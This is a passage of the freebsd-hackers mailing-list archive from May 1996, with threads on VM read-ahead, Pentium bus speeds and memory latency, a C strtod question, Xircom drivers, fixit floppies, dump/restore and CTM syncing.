FreeBSD.org Precedence: bulk > restore(8) is, of course, alrady there. How should one have called it > ``fixit'' otherwise? ;) Maybe we should rename it ``restoreit''; then we can reuse "``fixit''. 8-) 8-) 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 16 11:01:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA20668 for hackers-outgoing; Thu, 16 May 1996 11:01:47 -0700 (PDT) Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id LAA20654 for ; Thu, 16 May 1996 11:01:43 -0700 (PDT) Received: from campa.panke.de (anonymous228.ppp.cs.tu-berlin.de [130.149.17.228]) by mail.cs.tu-berlin.de (8.6.12/8.6.12) with ESMTP id TAA02232; Thu, 16 May 1996 19:41:57 +0200 Received: (from wosch@localhost) by campa.panke.de (8.6.12/8.6.12) id TAA01892; Thu, 16 May 1996 19:18:12 +0200 Date: Thu, 16 May 1996 19:18:12 +0200 From: Wolfram Schneider Message-Id: <199605161718.TAA01892@campa.panke.de> To: "John S. Dyson" Cc: hackers@freebsd.org Subject: Re: A question for the VM gurus..! In-Reply-To: <199605151714.MAA22723@dyson.iquest.net> References: <199605151445.JAA12093@brasil.moneng.mei.com> <199605151714.MAA22723@dyson.iquest.net> Reply-to: Wolfram Schneider MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk John S. Dyson writes: >> If you set MADV_SEQUENTIAL on a region, if it has to fault a page "n" in, it >> looks like it discards all pages from 0 to n-1 in that region.. notably it >> does NOT seem to do anything if it doesn't have to fault a page in. >> >Is there only one process accessing the region? What happens if there >are other processes using that region also? Otherwise, that is easy to >do in our VM system. Is it possible to implement mmap for stdin? (MADV_SEQUENTIAL + MAP_ANON) Wolfram From owner-freebsd-hackers Thu May 16 11:21:16 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA21852 for hackers-outgoing; Thu, 16 May 1996 11:21:16 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id LAA21842; Thu, 16 May 1996 11:21:12 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA17487; Thu, 16 May 1996 11:18:36 -0700 From: Terry Lambert Message-Id: <199605161818.LAA17487@phaeton.artisoft.com> Subject: Re: A question for the VM gurus..! To: dyson@FreeBSD.ORG Date: Thu, 16 May 1996 11:18:35 -0700 (MST) Cc: rminnich@Sarnoff.COM, toor@dyson.iquest.net, jgreco@brasil.moneng.mei.com, hackers@FreeBSD.ORG In-Reply-To: <199605161424.JAA13589@dyson.iquest.net> from "John S. Dyson" at May 16, 96 09:24:08 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > > MADV_WILLNEED appears to fault pages (again, asynchrnously, from > > > > what I can tell). > > > > > > Hmmm... time to implement kernel threads. > > > > actually, sunos had async. read-ahead from 1988 on, long before kernel > > threads. They just queued an i/o and did not wait for the result. So you > > don't absolutely have to have kernel threads. > > > We used to have async readahead in the VM system (vnode_pager.) It was a bit > tricky, and kernel threads might make it simpler. Maybe not? A kernel thread scheduled against a "work to do" queue would seem to be the correct way to handle async. But async wants to be more general than a simple implementation; it wants to be enough to implement async calls at user level. Rather than special casing the code in the read/write path to enable the aioread/aiowrite/aiowait/aiocancel, I'd like to see an alternate trap gate for async calls... much better for LWP support. So I guess the same changes needed for kernel multithreading would be needed regardless.... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 16 11:23:52 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA21952 for hackers-outgoing; Thu, 16 May 1996 11:23:52 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id LAA21947 for ; Thu, 16 May 1996 11:23:41 -0700 (PDT) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id VAA28140; Thu, 16 May 1996 21:28:16 +0300 Date: Thu, 16 May 1996 21:28:15 +0300 (EET DST) From: Narvi To: Terry Lambert cc: "Serge A. Babkin" , hackers@FreeBSD.org Subject: Re: EDO & Memory latency In-Reply-To: <199605161709.KAA17364@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 16 May 1996, Terry Lambert wrote: > > I have just tried lmbench and the numbers it gives are looking > > slightly strange for me. It shows memory latency upto 500ns while > > I have 60-ns EDO memory in a Pentium/75 box. Okay, its external > > clock is 25MHz, this gives 40ns, one wait state, it gives another 40ns, > > it gives 80ns, but why the overhead is over 400ns ? > > 25 * 3 = 75 > > Multiply access latency by 3. Contrary to what some prefer to think, Pentium 75 run on the external speed of 50 Mhz - 1.5*50=75. So how about looking the figures over once more time? > > Then multiply the whole deal by 100/60 because you probably didn't > set HZ to 100. > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > Sander .sigless on the moment From owner-freebsd-hackers Thu May 16 11:32:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA22528 for hackers-outgoing; Thu, 16 May 1996 11:32:02 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id LAA22477 for ; Thu, 16 May 1996 11:32:00 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA17550; Thu, 16 May 1996 11:27:35 -0700 From: Terry Lambert Message-Id: <199605161827.LAA17550@phaeton.artisoft.com> Subject: Re: EDO & Memory latency To: narvi@haldjas.folklore.ee (Narvi) Date: Thu, 16 May 1996 11:27:35 -0700 (MST) Cc: terry@lambert.org, babkin@hq.icb.chel.su, hackers@FreeBSD.org In-Reply-To: from "Narvi" at May 16, 96 09:28:15 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > > I have just tried lmbench and the numbers it gives are looking > > > slightly strange for me. It shows memory latency upto 500ns while > > > I have 60-ns EDO memory in a Pentium/75 box. Okay, its external > > > clock is 25MHz, this gives 40ns, one wait state, it gives another 40ns, > > > it gives 80ns, but why the overhead is over 400ns ? > > > > 25 * 3 = 75 > > > > Multiply access latency by 3. > > Contrary to what some prefer to think, Pentium 75 run on the external > speed of 50 Mhz - 1.5*50=75. So how about looking the figures over once > more time? Was this supposed to be a memory bus or a data bus speed? PCI can't run faster than 33 -- on a 75, that means 25. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 16 11:56:14 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA24369 for hackers-outgoing; Thu, 16 May 1996 11:56:14 -0700 (PDT) Received: from freebsd.ki.net (root@freebsd.ki.net [205.150.102.51]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id LAA24363 for ; Thu, 16 May 1996 11:56:10 -0700 (PDT) Received: from localhost (scrappy@localhost) by freebsd.ki.net (8.7.5/8.7.3) with SMTP id OAA07854 for ; Thu, 16 May 1996 14:56:37 -0400 (EDT) X-Authentication-Warning: freebsd.ki.net: scrappy owned process doing -bs Date: Thu, 16 May 1996 14:56:36 -0400 (EDT) From: "Marc G. Fournier" To: hackers@freebsd.org Subject: C Programming Question Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi... I'm trying to do something that I feel should be relatively brain dead to do, but can't get it to work...change an ascii string to a double. I've tried using atof() and strtod(), and both return the same answer...0. The code is simple, and right now, just pulls the first line from a file to manipulate it: ---[ short code segment ]---- #include #include #define DATAFILE "/home/staff/scrappy/snmp/values" main(int argv, char **argc) { FILE *in; char inbuf[80], *junk, str[20]; double value; in=fopen(DATAFILE, "r"); fgets(inbuf, sizeof(inbuf), in); printf("inbuf: %s\n", inbuf); junk = strtok(inbuf, " "); junk = strtok(NULL, " "); strcpy(str, junk); printf("%s\n", str); value = strtod(str, NULL); printf("[%f]\n", value); fclose(in); } ----[ end of code ]---- the output, when running this, looks like: ki> ./double inbuf: 832220635 1980972567 2198208632 1980972567 [0.000000] Using atof() instead of strtod() gives the same result, so the only thing I can think of is I'm missing something *really* simple here. If I change it to use atoi(), the value comes up correctly, but the second value in the inbuf comes out as: 2198208632 [2147483647] Trying to set 'value' to be an unsigned int has the same result, as well as unsigned long/atol()...nothing wants to exceed the 2147483647 barrier. So...is it something I'm missing? According to the Unix C reference I have, a 4byte int, unsigned, should give me 0->4294967295, but I'm only getting half of that. Marc G. Fournier scrappy@ki.net Systems Administrator @ ki.net scrappy@freebsd.org From owner-freebsd-hackers Thu May 16 11:58:27 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA24522 for hackers-outgoing; Thu, 16 May 1996 11:58:27 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id LAA24512 for ; Thu, 16 May 1996 11:58:23 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with SMTP id MAA04204; Thu, 16 May 1996 12:57:03 -0600 (MDT) Message-Id: <199605161857.MAA04204@rover.village.org> To: Narvi Subject: Re: EDO & Memory latency Cc: "Serge A. Babkin" , hackers@FreeBSD.ORG In-reply-to: Your message of Thu, 16 May 1996 13:19:46 +0300 Date: Thu, 16 May 1996 12:57:02 -0600 From: Warner Losh Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk : The external bus of the Pentium 75 should be 50Mhz. It is 1.5x50, not : 3x25. 60ns EDO sounds like an overkill for a Pentium 75 though... : I would use a quicker processor and (120) with ordinary memory : (fast-page, 70ns) - but the likes may vary. This reminds me of a question that I've wanted to ask for a while. Does anybody know where I can find a good writeup on the various Pentium chip speeds and how they relate to bus speeds? I'm most interested in the P5-83 which is an upgrade to my dx2-66. It sounds as if it is running at 2.5x my bus speed, which is odd to say the least. Warner From owner-freebsd-hackers Thu May 16 11:58:40 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id LAA24576 for hackers-outgoing; Thu, 16 May 1996 11:58:40 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id LAA24564 for ; Thu, 16 May 1996 11:58:37 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id LAA11038; Thu, 16 May 1996 11:55:04 -0700 (PDT) To: Terry Lambert cc: archie@whistle.com, freebsd-hackers@freebsd.org Subject: Re: make bug In-reply-to: Your message of "Thu, 16 May 1996 10:06:42 PDT." <199605161706.KAA17355@phaeton.artisoft.com> Date: Thu, 16 May 1996 11:55:04 -0700 Message-ID: <11036.832272904@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > This really should go to Adam de Boor - anyone know his current > > email address? > > Shouldn't it be in the forst vendor branch tag for make, if you are > expecting him to maintain it? I wasn't; I simply meant to say that if anyone should know whether or not BEGIN tags were meant to fail or fall through, it would be Adam. Jordan From owner-freebsd-hackers Thu May 16 12:00:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA24959 for hackers-outgoing; Thu, 16 May 1996 12:00:57 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id MAA24952 for ; Thu, 16 May 1996 12:00:49 -0700 (PDT) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id WAA28287; Thu, 16 May 1996 22:05:44 +0300 Date: Thu, 16 May 1996 22:05:43 +0300 (EET DST) From: Narvi To: Terry Lambert cc: hackers@FreeBSD.org Subject: Re: EDO & Memory latency In-Reply-To: <199605161827.LAA17550@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 16 May 1996, Terry Lambert wrote: > > > > I have just tried lmbench and the numbers it gives are looking > > > > slightly strange for me. It shows memory latency upto 500ns while > > > > I have 60-ns EDO memory in a Pentium/75 box. Okay, its external > > > > clock is 25MHz, this gives 40ns, one wait state, it gives another 40ns, > > > > it gives 80ns, but why the overhead is over 400ns ? > > > > > > 25 * 3 = 75 > > > > > > Multiply access latency by 3. > > > > Contrary to what some prefer to think, Pentium 75 run on the external > > speed of 50 Mhz - 1.5*50=75. So how about looking the figures over once > > more time? > > Was this supposed to be a memory bus or a data bus speed? I guess it was the memory speed and latency - I doubt he had his memory on the other side of the PCI bus. In the opposite case no-one would say that 60ns EDO memory is recomemded for 66Mhz external bus as the memory access would in any case be done at 33Mhz. > > PCI can't run faster than 33 -- on a 75, that means 25. > > I feel I can't argue against this - though why aren't they running it at some other speed than 1/2 of external and not 33/50 of it? I hate Pentium 75-s which lose to 486DX-80s in one of the components of graphics winmark... (everything else was exactly the same) :-( > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > Sander .sigless on the moment From owner-freebsd-hackers Thu May 16 12:05:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA25288 for hackers-outgoing; Thu, 16 May 1996 12:05:44 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id MAA25281 for ; Thu, 16 May 1996 12:05:35 -0700 (PDT) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id WAA28312; Thu, 16 May 1996 22:11:38 +0300 Date: Thu, 16 May 1996 22:11:37 +0300 (EET DST) From: Narvi To: Warner Losh cc: "Serge A. Babkin" , hackers@FreeBSD.ORG Subject: Re: EDO & Memory latency In-Reply-To: <199605161857.MAA04204@rover.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Eat good food, preserve nature, be nice to all nice people :) On Thu, 16 May 1996, Warner Losh wrote: > : The external bus of the Pentium 75 should be 50Mhz. It is 1.5x50, not > : 3x25. 60ns EDO sounds like an overkill for a Pentium 75 though... > : I would use a quicker processor and (120) with ordinary memory > : (fast-page, 70ns) - but the likes may vary. > > This reminds me of a question that I've wanted to ask for a while. > Does anybody know where I can find a good writeup on the various > Pentium chip speeds and how they relate to bus speeds? > > I'm most interested in the P5-83 which is an upgrade to my dx2-66. It > sounds as if it is running at 2.5x my bus speed, which is odd to say > the least. It's pretty easy - they run at speeds of 1.5x, 2x, 2.5x (and maybe 3x) of the external bus speed, which is presently one of 50Mhz, 60Mhz, and 66Mhz. Pentium Pro 200 should be 3x66, and P5-166 is 2.5x66. I don't think there are other "legal" external bus speeds or multiplyers than these currently. Check out Intel's WWW page at http://www.intel.com. > > Warner > Sander being .sigless still From owner-freebsd-hackers Thu May 16 12:55:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA28931 for hackers-outgoing; Thu, 16 May 1996 12:55:06 -0700 (PDT) Received: from nda.nda.com (fw1.NDA.COM [204.57.47.254]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id MAA28920 for ; Thu, 16 May 1996 12:54:59 -0700 (PDT) Received: (kevin@localhost) by nda.nda.com (8.7.4/8.6.4) id PAA17533 for freebsd-hackers@freebsd.org; Thu, 16 May 1996 15:54:28 -0400 (EDT) From: Kevin Lyda Message-Id: <199605161954.PAA17533@nda.nda.com> Subject: xircom hardware specs To: freebsd-hackers@freebsd.org Date: Thu, 16 May 1996 15:54:27 -0400 (EDT) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk i'm using an nec versa 2200c laptop with a xircom ethernet+modem pcmcia card. no drivers available. i sent email to xircom customer support and was informed that they would release the specs to interested developers. is anyone pursuing this? if not, i'd like to volunteer. i'll fax them for info this evening, since i'm eager to escape win95. (i requested this laptop for freebsd) kevin ps next and solaris x86 provide xircom drivers, not sure if freebsd is kernel compat with them (probably not...) From owner-freebsd-hackers Thu May 16 13:26:17 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id NAA01187 for hackers-outgoing; Thu, 16 May 1996 13:26:17 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id NAA01176 for ; Thu, 16 May 1996 13:26:09 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA17795; Thu, 16 May 1996 13:22:47 -0700 From: Terry Lambert Message-Id: <199605162022.NAA17795@phaeton.artisoft.com> Subject: Re: EDO & Memory latency To: narvi@haldjas.folklore.ee (Narvi) Date: Thu, 16 May 1996 13:22:47 -0700 (MST) Cc: terry@lambert.org, hackers@FreeBSD.org In-Reply-To: from "Narvi" at May 16, 96 10:05:43 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > PCI can't run faster than 33 -- on a 75, that means 25. > > I feel I can't argue against this - though why aren't they running it > at some other speed than 1/2 of external and not 33/50 of it? I hate > Pentium 75-s which lose to 486DX-80s in one of the components of graphics > winmark... (everything else was exactly the same) :-( Use P100's (actualy P99's) and run the full 33, and you won't be unhappy. Since Intel started dumping Pentiums at 1/2 price, can you even get 486's any more except buying out distressed warehouse inventory? Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu May 16 14:26:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA05817 for hackers-outgoing; Thu, 16 May 1996 14:26:03 -0700 (PDT) Received: from pdx1 (pdx1.world.net [192.243.32.18]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id OAA05810 for ; Thu, 16 May 1996 14:25:54 -0700 (PDT) Received: from merix.merix.com (merix.com [198.145.172.40]) by pdx1 (8.6.9/8.6.9) with SMTP id OAA19330; Thu, 16 May 1996 14:26:28 -0700 Received: from sandy.merix.com by merix.merix.com (4.1/1.1) id AA29626; Thu, 16 May 96 14:25:32 PDT Received: by sandy.merix.com (4.1/8.0) id AA19444; Thu, 16 May 96 14:23:13 PDT Date: Thu, 16 May 96 14:23:13 PDT Subject: Re: Floppy names :) To: terry@lambert.org, freebsd-hackers@freebsd.org From: Troy Curtiss Message-Id: In-Reply-To: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As terry@lambert.org wisely stated: > > restore(8) is, of course, alrady there. How should one have called it > > ``fixit'' otherwise? ;) > > Maybe we should rename it ``restoreit''; then we can reuse "``fixit''. > Seems to me, the fixit floppy should have more sociologically ergonomic name... like for instance 'rescue' or 'repair'... -- /-----------------------------------------------------------\ | Troy Curtiss, HW/SW Engineer | Email: troyc@merix.com | | Merix Corporation, F8-208 | Phone: (503) 359-9300 x54500 | | Forest Grove, OR 97116 | Fax : (503) 359-1624 | \-----------------------------------------------------------/ From owner-freebsd-hackers Thu May 16 14:41:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA07226 for hackers-outgoing; Thu, 16 May 1996 14:41:56 -0700 (PDT) Received: from Sisyphos (Sisyphos.MI.Uni-Koeln.DE [134.95.212.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id OAA07221 for ; Thu, 16 May 1996 14:41:52 -0700 (PDT) Received: by Sisyphos id AA29703 (5.67b/IDA-1.5 for hackers@FreeBSD.ORG); Thu, 16 May 1996 23:33:35 +0200 Message-Id: <199605162133.AA29703@Sisyphos> From: se@zpr.uni-koeln.de (Stefan Esser) Date: Thu, 16 May 1996 23:33:34 +0200 In-Reply-To: Warner Losh "Re: EDO & Memory latency" (May 16, 12:57) X-Mailer: Mail User's Shell (7.2.6 alpha(2) 7/9/95) To: Warner Losh Subject: Re: EDO & Memory latency Cc: "Serge A. Babkin" , hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On May 16, 12:57, Warner Losh wrote: } Subject: Re: EDO & Memory latency } This reminds me of a question that I've wanted to ask for a while. } Does anybody know where I can find a good writeup on the various } Pentium chip speeds and how they relate to bus speeds? } } I'm most interested in the P5-83 which is an upgrade to my dx2-66. It } sounds as if it is running at 2.5x my bus speed, which is odd to say } the least. It is, but why don't you get yourself an AMD 5x86 instead, which performs better than the P5-83 and is a lot cheaper ? (The P5 is slightly faster on FP, but slower overall ...) Regards, STefan -- Stefan Esser, Zentrum fuer Paralleles Rechnen Tel: +49 221 4706021 Universitaet zu Koeln, Weyertal 80, 50931 Koeln FAX: +49 221 4705160 ============================================================================== http://www.zpr.uni-koeln.de/~se From owner-freebsd-hackers Thu May 16 15:19:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA10061 for hackers-outgoing; Thu, 16 May 1996 15:19:34 -0700 (PDT) Received: from linux4nn.gn.iaf.nl (root@linux4nn.gn.iaf.nl [193.67.144.34]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id PAA10055 for ; Thu, 16 May 1996 15:19:30 -0700 (PDT) Received: from uni4nn.iaf.nl (root@uni4nn.iaf.nl [193.67.144.33]) by linux4nn.gn.iaf.nl (8.6.9/8.6.9) with SMTP id AAA00609; Fri, 17 May 1996 00:19:46 +0200 Received: by uni4nn.iaf.nl with UUCP id AA25281 (5.67b/IDA-1.5); Fri, 17 May 1996 00:19:14 +0200 Received: by iafnl.es.iaf.nl with UUCP id AA07405 (5.67b/IDA-1.5); Thu, 16 May 1996 23:23:05 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.6.12/8.6.6) id UAA09223; Thu, 16 May 1996 20:48:46 +0200 From: Wilko Bulte Message-Id: <199605161848.UAA09223@yedi.iaf.nl> X-Organisation: Private FreeBSD site - Arnhem - The Netherlands Subject: Re: errros on making floppies To: joerg_wunsch@uriah.heep.sax.de Date: Thu, 16 May 1996 20:48:46 +0200 (MET DST) Cc: freebsd-hackers@freebsd.org In-Reply-To: <199605160954.LAA01175@uriah.heep.sax.de> from "J Wunsch" at May 16, 96 11:54:19 am X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > As Wilko Bulte wrote: > > > And along with restore a /sbin/mt is needed to do 'mt fsf' like things > > on multi-dump tapes > > /usr/bin/mt (not /sbin/mt) is needed, but only in order to be able to > adjust the density and blocksize setting of the tape drive. > > Skipping over pre-existing dump files is handled by the `s' flag to > restore(8). (Do you wonder? After all, dump/restore are the > recommended backup tools, and they do know how to handle mag tapes.) Tss. Just checked out the restore man page and indeed there is the 's' option. I just never noticed.... ;-) and always used 'mt'. While we are at it: how does one verify a 'dump'? Is there an easy option for restore that I also overlooked? > cheers, J"org _ __________________________________________________________________________ | / o / / _ Wilko Bulte email: wilko@yedi.iaf.nl |/|/ / / /( (_) Private FreeBSD site - Arnhem - The Netherlands -------------------------------------------------------------------------------- From owner-freebsd-hackers Thu May 16 15:41:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA11665 for hackers-outgoing; Thu, 16 May 1996 15:41:07 -0700 (PDT) Received: from tfs.com (tfs.com [140.145.250.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id PAA11660 for ; Thu, 16 May 1996 15:41:04 -0700 (PDT) Received: from critter.tfs.com by tfs.com (smail3.1.28.1) with SMTP id m0uKBj5-0003wHC; Thu, 16 May 96 15:40 PDT Received: from localhost (localhost [127.0.0.1]) by critter.tfs.com (8.7.5/8.6.12) with SMTP id WAA00872; Thu, 16 May 1996 22:40:37 GMT X-Authentication-Warning: critter.tfs.com: Host localhost [127.0.0.1] didn't use HELO protocol To: Tony Kimball cc: nate@sri.MT.net, hackers@freebsd.org Subject: Re: why so many ways to stay in sync? In-reply-to: Your message of "Tue, 14 May 1996 16:00:58 EST." <199605142100.QAA27146@compound.Think.COM> Date: Thu, 16 May 1996 22:40:35 +0000 Message-ID: <870.832286435@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Frationing the repository is a CTM admin issue, methinks. > Consider the case of FreeBSD. What if the various top-level > directories were maintained in separate ctm domains, so that > there was a > cvs-cur-root > cvs-cur-ports > cvs-cur-src-bin > cvs-cur-src-etc > cvs-cur-src-games > ... > cvs-cur-src-usr.sbin > eh?? All ctm cvs-cur users would keep cvs-cur-root, but not all would need > every subset. Bad idea, you wouldn't save much volume, but trouble would increase. > Local mods are a client implementation issue. Suppose there were an > lcvs program, which would only handle the 'new update commit delete > diff log' commands. It could refer to the local repository maintained > via ctm, but add a file for each local branch file, to contain local > patches and history. > > COPYRIGHT,v > COPYRIGHT,v.local Ctm already supports the ".ctm" suffix. CTM-deltas will be applied to any .ctm rather than if it exists. > Would this fulfill your ideal requirements? This seems like about > the least amount of work, of all the approaches that I have > considered, to resolve the problems you describe. Sure, when can we have it ? :-) -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-hackers Thu May 16 15:45:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA11929 for hackers-outgoing; Thu, 16 May 1996 15:45:47 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id PAA11920 for ; Thu, 16 May 1996 15:45:41 -0700 (PDT) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id BAA28693; Fri, 17 May 1996 01:50:43 +0300 Date: Fri, 17 May 1996 01:50:42 +0300 (EET DST) From: Narvi To: Terry Lambert cc: hackers@FreeBSD.ORG Subject: Re: EDO & Memory latency In-Reply-To: <199605162022.NAA17795@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 16 May 1996, Terry Lambert wrote: > > > PCI can't run faster than 33 -- on a 75, that means 25. > > > > I feel I can't argue against this - though why aren't they running it > > at some other speed than 1/2 of external and not 33/50 of it? I hate > > Pentium 75-s which lose to 486DX-80s in one of the components of graphics > > winmark... (everything else was exactly the same) :-( > > Use P100's (actualy P99's) and run the full 33, and you won't be > unhappy. > > Since Intel started dumping Pentiums at 1/2 price, can you even get > 486's any more except buying out distressed warehouse inventory? > > Don't know - I just upgraded my computer, that's why I can say for sure that everything but the motherboard and processor remained the same... And I do hold that a *decent* chipset should hold the PCI speed at max (33 MHz) in case the bus speed is higher than 33 MHz. But there aren't many like these out there, I guess. > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > Sander From owner-freebsd-hackers Thu May 16 15:47:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA12002 for hackers-outgoing; Thu, 16 May 1996 15:47:29 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id PAA11996 for ; Thu, 16 May 1996 15:47:25 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with SMTP id QAA04971; Thu, 16 May 1996 16:46:21 -0600 (MDT) Message-Id: <199605162246.QAA04971@rover.village.org> To: se@zpr.uni-koeln.de (Stefan Esser) Subject: Re: EDO & Memory latency Cc: "Serge A. Babkin" , hackers@freebsd.org In-reply-to: Your message of Thu, 16 May 1996 23:33:34 +0200 Date: Thu, 16 May 1996 16:46:21 -0600 From: Warner 